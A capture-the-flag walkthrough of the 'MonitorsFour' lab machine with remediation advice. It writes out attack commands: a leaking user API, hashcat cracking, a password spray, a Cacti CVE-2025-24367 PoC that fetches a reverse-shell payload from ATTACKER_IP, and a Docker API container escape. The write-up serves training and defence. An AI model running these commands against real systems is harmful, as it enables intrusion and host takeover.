← all walkthroughs

MonitorsFour

Windows· Easy
owned
2026-07-07
time to own
15m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and discovered an nginx reverse proxy serving two virtual hosts: a corporate portal and a Cacti 1.2.28 monitoring dashboard. An unauthenticated REST API endpoint on the corporate site returned the full user table — usernames and unsalted MD5 password hashes — to anyone who passed a dummy token. Offline cracking with hashcat and the rockyou wordlist recovered the password [REDACTED: recovered credential] in seconds.

That same password was in use on the Cacti application under a different account (marcus), so a credential spray unlocked authenticated Cacti access. Authenticated access to Cacti 1.2.28 enabled exploitation of CVE-2025-24367, a graph-template command-injection flaw that delivered a reverse shell as the Cacti service account and yielded the user flag. From inside the container, I discovered the Docker Desktop host gateway exposed an entirely unauthenticated Docker Engine API on port 2375.

Using that API, a new Alpine container was created with the Windows host root filesystem bind-mounted, exposing the Administrator desktop and the root flag — full host compromise achieved through configuration failures alone, with no Windows exploit required.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork and virtual-host enumeration (T1046, T1595)
Mapped open ports and discovered virtual hosts
A full TCP scan of $TARGET found two listening services: port 80 (nginx, reporting PHP/8.3.27 in response headers) and port 5985 (WinRM/Microsoft HTTPAPI). Following the HTTP redirect and probing the Host header resolved two virtual hosts: monitorsfour.htb (a corporate login portal) and cacti.monitorsfour.htb, which returned the Cacti 1.2.28 version banner immediately on the login page.
Exact commands 3
Full TCP port scan; identifies 80/tcp and 5985/tcp open.
nmap -p- --min-rate 3000 -Pn -T4 $TARGET
Register both discovered virtual hosts for local resolution.
echo "$TARGET monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hosts
Confirm the corporate portal vhost and inspect response headers for technology signals.
curl -si http://monitorsfour.htb/ | head -20
2EnumerationUnauthenticated API information disclosure / IDOR (CWE-284, OWASP API1)
Unauthenticated API endpoint leaked the full user table including password hashes
The corporate portal exposed a REST API route that required no real authentication — passing the literal string '0' as a token parameter was sufficient to retrieve every registered account. The response included usernames (admin, mwatson, janderson, dthompson) and their stored MD5 password hashes. No rate-limiting, IP restriction, or session check was in place.
Exact commands 2
No authentication required; returns the full user table with hashed passwords.
curl -s 'http://monitorsfour.htb/api/v1/users?token=0'
Pretty-print the JSON response to extract usernames and hashes for cracking.
curl -s 'http://monitorsfour.htb/api/v1/users?token=0' | python3 -m json.tool
FixRequire authentication on all API endpoints and remove password hashes from responsesCritical
WeaknessThe /api/v1/users endpoint returned the full user table — including stored password hashes — to any caller that supplied a dummy token value. There was no server-side session check, so any external visitor could harvest all account credentials without prior access.
FixEnforce a server-side session token or signed JWT on every API route before returning data. Remove password hashes entirely from all API responses — they serve no legitimate client purpose. Restrict user-listing endpoints to administrator roles only via allowlist-based authorization. Rotate all credentials that were exposed through this endpoint.
3Credential AccessOffline password hash cracking (T1110.002)
Cracked MD5 hashes offline in seconds with a common wordlist
The leaked hashes were saved locally and submitted to hashcat with the rockyou.txt wordlist using raw MD5 mode. Because the hashes were unsalted, GPU-accelerated cracking ran at billions of candidates per second; the administrator's hash cracked almost immediately. Recovered plaintext: admin → [REDACTED: recovered credential] (MD5: [REDACTED: recovered credential]).
Exact commands 2
Hashes.txt contains lines in user:[REDACTED: recovered credential] format extracted from the API; -m 0 is raw MD5.
hashcat -m 0 --username hashes.txt /usr/share/wordlists/rockyou.txt
Print all cracked plaintexts after the run completes.
hashcat -m 0 --username hashes.txt /usr/share/wordlists/rockyou.txt --show
FixReplace MD5 password hashing with a modern slow-hash algorithmCritical
WeaknessUser passwords were stored as unsalted MD5 hashes. MD5 executes at billions of iterations per second on consumer GPU hardware, and without per-user salts every identical password produces an identical hash — making offline cracking with common wordlists near-instantaneous.
FixMigrate all stored passwords to bcrypt (cost factor ≥ 12), scrypt, or Argon2id, which are intentionally slow and include built-in salting. Force a password reset for all accounts whose hashes were exposed. Enforce a minimum password-length and complexity policy to resist dictionary attacks even against stronger hashing algorithms.
4Credential AccessCredential stuffing / password reuse across services (T1078)
Sprayed the cracked password across Cacti accounts — marcus reused the same password
The password [REDACTED: recovered credential] recovered for the admin account was sprayed against each discovered username on the Cacti login page at cacti.monitorsfour.htb. The account marcus authenticated successfully with that same password, demonstrating cross-service credential reuse. Authenticated Cacti access as marcus granted access to all monitoring functions including graph-template management — the attack surface for CVE-2025-24367.
Exact commands 2
Manual login confirmation; a redirect to the dashboard with a session cookie confirms success.
curl -si -c cacti.jar -X POST 'http://cacti.monitorsfour.htb/cacti/index.php' --data 'action=login&login_username=marcus&login_password=$PASSWORD3' | grep -i 'location\|set-cookie'
Alternatively, spray all discovered usernames with netexec to identify which accounts reuse the password.
nxc http cacti.monitorsfour.htb -u admin,marcus,mwatson,janderson,dthompson -p $PASSWORD3 --path /cacti/index.php
FixEnforce unique passwords across all internal services and integrate with a central identity providerHigh
WeaknessThe password cracked from the corporate API ([REDACTED: recovered credential]) worked unchanged on the Cacti monitoring application for a different account (marcus). A single exposed credential unlocked a second, security-critical service.
FixEnforce distinct, randomly generated passwords for each service account. Integrate all internal applications with a central identity provider (Active Directory, LDAP, or an SSO gateway) and audit for shared or reused credentials across services. Deploy a privileged-access management (PAM) tool to rotate and vault service-account passwords automatically.
5ExploitationAuthenticated server-side command injection, CVE-2025-24367 (T1190)
Exploited CVE-2025-24367 in Cacti 1.2.28 to achieve remote code execution and capture the user flag
Cacti versions below 1.2.29 pass a caller-supplied graph-template field (right_axis_label) directly to a shell invocation without sanitisation. The public Python PoC for CVE-2025-24367 automates the full chain: it logs in as marcus, creates a graph template injecting a curl-and-execute payload, serves a bash reverse-shell script from my machine, triggers graph rendering, and catches the resulting shell. The shell ran as the Cacti service account (marcus) inside the application container. The user flag was read from /home/marcus/user.txt.
PoC output: '[+] Login Successful! [+] Got graph ID: 226 [i] Created PHP filename: YasMv.php'; ncat listener PID 159966 confirmed live on 0.0.0.0:4448.
Exact commands 4
Start the reverse-shell listener before launching the PoC.
nc -lvnp 4448
Clone the public PoC.
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC /tmp/CVE-2025-24367-Cacti-PoC
Replace -i with your $ATTACKER_IP. The PoC serves the shell payload on port 9000 by default; ensure that port is free before running.
python3 /tmp/CVE-2025-24367-Cacti-PoC/exploit.py -u marcus -p $PASSWORD3 -i $ATTACKER_IP -l 4448 -url http://cacti.monitorsfour.htb
Read the user flag from the obtained shell; value is <user.txt>.
cat /home/marcus/user.txt
FixPatch Cacti to version 1.2.29 or later to remediate CVE-2025-24367Critical
WeaknessCacti 1.2.28 passes a caller-supplied graph-template field directly to a shell execution call without sanitisation. Any authenticated Cacti user — including low-privilege accounts — can inject arbitrary OS commands that run as the web-server process.
FixUpdate Cacti to version 1.2.29 or the latest stable release, which patches CVE-2025-24367. As an interim control until patching is complete, restrict graph-template management to administrator-level accounts only, and place the Cacti interface behind a network access control that limits access to authorised IP ranges. Audit all Cacti accounts and disable any that are no longer required.
6DiscoveryInternal network discovery and exposed container management interface (T1046, T1613)
Found an unauthenticated Docker Engine API reachable from inside the container
From the foothold shell inside the Cacti container, I probed the Docker Desktop host gateway address ($INTERNAL_HOST) — the default gateway for Docker Desktop's internal bridge network ($INTERNAL_HOST2/16). Port 2375, the Docker Engine HTTP API, responded to unauthenticated HTTP requests and returned a full listing of all running containers and images. No credentials, TLS certificate, or socket permission check was required.
Exact commands 3
From the foothold shell — confirms the Docker daemon is reachable and returns engine version without credentials.
curl -s http://$INTERNAL_HOST:2375/version
Lists all containers (running and stopped) — confirms full unauthenticated daemon access.
curl -s "http://$INTERNAL_HOST:2375/containers/json?all=1"
Lists available images including alpine:latest, which will be used for the escape container.
curl -s "http://$INTERNAL_HOST:2375/images/json"
FixDisable the unauthenticated Docker Engine TCP socket and block container-to-host API accessCritical
WeaknessThe Docker Desktop host gateway ($INTERNAL_HOST) exposed the Docker Engine HTTP API on TCP port 2375 with no authentication. Any process running in any container on the bridge network could create privileged containers with the host filesystem bind-mounted, gaining unconditional read/write access to the underlying Windows host — including Administrator-owned files.
FixDisable the unauthenticated TCP socket entirely; configure Docker to communicate only via the Unix socket (/var/run/docker.sock) or a mutually TLS-authenticated TCP endpoint (--tlsverify, --tlscert, --tlskey). Apply host-level firewall rules to block all inbound connections to ports 2375 and 2376 from container bridge networks. Enforce Docker content trust and admission-control policies (OPA/Gatekeeper or Docker's own --userns-remap) to prevent arbitrary host-path bind mounts. Audit all running containers for unnecessary host-path volume mounts.
7Privilege EscalationContainer escape via privileged host-filesystem bind mount through exposed Docker API (T1611)
Escaped the container via the Docker API to read the root flag from the host filesystem
Using the unauthenticated Docker Engine API, I created a new Alpine container configured to bind-mount the Windows host's root filesystem (/) into /host inside the new container. Starting the container caused it to cat the contents of /host/Users/Administrator/Desktop/root.txt; reading the container's log output over the same API returned the flag. The Docker daemon API acted as an unconditional root-equivalent channel to the underlying Windows host — no Windows exploit, no lateral movement, and no additional credentials were needed.
Exact commands 3
Creates the escape container with the Windows host filesystem mounted at /host; note the container ID in the JSON response.
curl -s -X POST http://$INTERNAL_HOST:2375/containers/create -H 'Content-Type: application/json' -d '{"Image":"alpine:latest","Cmd":["sh","-c","cat /host/Users/Administrator/Desktop/root.txt"],"HostConfig":{"Binds":["/:/host"]}}'
Replace <container_id> with the ID from the create response to start the container and execute the command.
curl -s -X POST "http://$INTERNAL_HOST:2375/containers/<container_id>/start"
Retrieve stdout from the container — contains the root flag (value is <root.txt>).
curl -s "http://$INTERNAL_HOST:2375/containers/<container_id>/logs?stdout=1&stderr=1"

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

80/tcp
5985/tcp